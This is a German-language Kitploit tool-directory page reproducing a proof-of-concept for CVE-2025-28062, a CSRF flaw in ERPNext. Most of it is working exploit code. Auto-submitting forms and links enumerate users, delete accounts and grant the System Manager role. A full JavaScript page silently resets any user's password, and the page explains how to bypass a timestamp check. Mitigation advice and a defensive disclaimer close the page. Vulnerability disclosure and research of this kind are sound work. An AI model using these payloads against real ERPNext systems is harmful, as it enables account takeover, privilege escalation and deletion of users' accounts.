Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-28062 — Machbarkeitsnachweis | Kitploit
Tools/GitHubGitHub/thvt0ne/cve-2025-28062
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

Machbarkeitsnachweis

Repository anzeigen
2vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-28062 — CSRF-Schwachstelle zur Kontenübernahme in ERPNext 14.82.1 , 14.74.3

📌 Zusammenfassung

Eine Cross-Site Request Forgery (CSRF)-Schwachstelle wurde in ERPNext 14.82.1 und 14.74.3 entdeckt, die es Angreifern ermöglicht, unbefugte Aktionen auszuführen, wie z. B.:

  • Benutzerenumeration
  • Kontenübernahme (Passwort-Reset)
  • Beliebige Löschung von Benutzern
  • Rechteausweitung (Hinzufügen von Rollen)

Die Schwachstelle beruht auf fehlendem CSRF-Schutz an kritischen administrativen API-Endpunkten. Wenn ein authentifizierter Administrator eine bösartige Website besucht, wird seine Sitzung missbraucht, um diese Aktionen ohne seine Zustimmung auszuführen.


🛠 Technische Details

  • Schwachstellentyp: CSRF (CWE-352)
  • Betroffenes Produkt: ERPNext
  • Versionen: 14.82.1, 14.74.3
  • Schweregrad: Hoch
  • CVSS v3.1-Score: 8.1
  • Status: Nicht behoben
  • Entdeckt von: Ahmed Thaiban Thvt0ne.
  • Entdeckt am: 2025-02-09
  • CVE-ID: CVE-2025-28062 (Reserviert)

🚀 Proof of Concepts (PoCs)

1. Benutzerenumeration

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. Benutzer löschen

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. Privilegierte Rolle zu einem beliebigen Benutzer hinzufügen

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 Siehe vollständiges JSON-Payload im Repository: /PoCs/privilege_escalation.html


4. Passwort eines beliebigen Benutzers ändern

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

Dieses Bild simuliert, dass der Admin eine bösartige Website besucht: Bild

Hinweis: Wenn die Modified Timestamps alt sind, kann die Website diese Meldung anzeigen: Bild

und um dies zu umgehen, verwenden Sie die HTML-Seite http:// localhost:8080/api/resource/User/[email protected][owner] und übernehmen Sie den Modified Timestamp (um das PoC zu erleichtern).

Bild

Ändern Sie ihn im Seiteninhalt auf den neueren Wert :

Bild

Sobald Sie es senden, wird das Passwort des Benutzers geändert!!.

Bild

Wenn ein authentifizierter Administrator diese Webseite besucht, wird seine Sitzung verwendet, um die Anfrage zur Änderung des Kontopassworts ohne jegliche Benutzerinteraktion auszuführen.


🧪 Ausnutzungsszenario

Ein Angreifer hostet eine bösartige Seite. Wenn ein ERPNext-Administrator sie während seiner Anmeldung besucht, löst sein Browser automatisch manipulierte Anfragen an ERPNext aus, was ohne sein Wissen zu Kontenänderungen oder -löschungen führt.


🔐 Empfehlungen zur Schadensbegrenzung

  • Erzwingen Sie CSRF-Tokens für alle zustandsändernden Endpunkte
  • Verhindern Sie GET-Anfragen für Aktionen wie Speichern/Löschen
  • Markieren Sie Authentifizierungs-Cookies mit SameSite=Strict
  • Verlangen Sie eine erneute Authentifizierung für kritische Aktionen (z. B. Passwortänderungen, Rollenänderungen)

🔗 Referenzen

  • ERPNext GitHub
  • Ahmed Thaiban – LinkedIn
  • OWASP-CSRF-Leitfaden

🙏 Danksagungen

Entdeckt von Ahmed Thaiban Thvt0ne.


📢 Haftungsausschluss

Diese Forschung dient ausschließlich defensiven Zwecken. Das Ziel ist es, das Bewusstsein zu schärfen und sichere Entwicklungspraktiken zu fördern.

Tool herunterladen